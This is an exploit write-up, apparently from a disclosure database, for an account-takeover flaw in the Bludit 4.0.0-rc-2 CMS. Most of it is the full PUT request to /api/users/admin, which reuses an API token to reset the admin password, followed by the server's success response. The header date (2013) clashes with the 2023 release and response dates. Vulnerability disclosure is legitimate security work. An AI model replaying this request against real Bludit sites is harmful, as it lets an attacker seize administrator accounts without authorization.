Bludit 4.0.0-rc-2 Privilege Escalation

## Title: Bludit-4.0.0-rc-2 - Release candidate 2 Account takeover:API token vulnerability## Author: nu11secur1ty## Date: 04.11.2013## Vendor: https://www.bludit.com/## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit## Description:The already authenticated attacker can send a normal request to changehis password and then he can usethe same JSON `object` and the vulnerable `API token KEY` in the samerequest to change the admin account password.Then he can access the admin account and he can do very malicious stuff.STATUS: HIGH Vulnerability[+]Exploit:```PUTPUT /api/users/admin HTTP/1.1Host: 127.0.0.1:8000Content-Length: 138sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50Safari/537.36content-type: application/jsonAccept: */*Origin: http://127.0.0.1:8000Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8000/admin/edit-user/pwnedAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthuiConnection: close{"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}```[+]Response:```HTTPHTTP/1.1 200 OKHost: 127.0.0.1:8000Date: Tue, 11 Apr 2023 08:33:51 GMTConnection: closeX-Powered-By: PHP/7.4.30Access-Control-Allow-Origin: *Content-Type: application/json{"status":"0","message":"User edited.","data":{"key":"admin"}}```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)## Proof and Exploit:[href](https://streamable.com/w3aa4d)## Time spend:00:57:00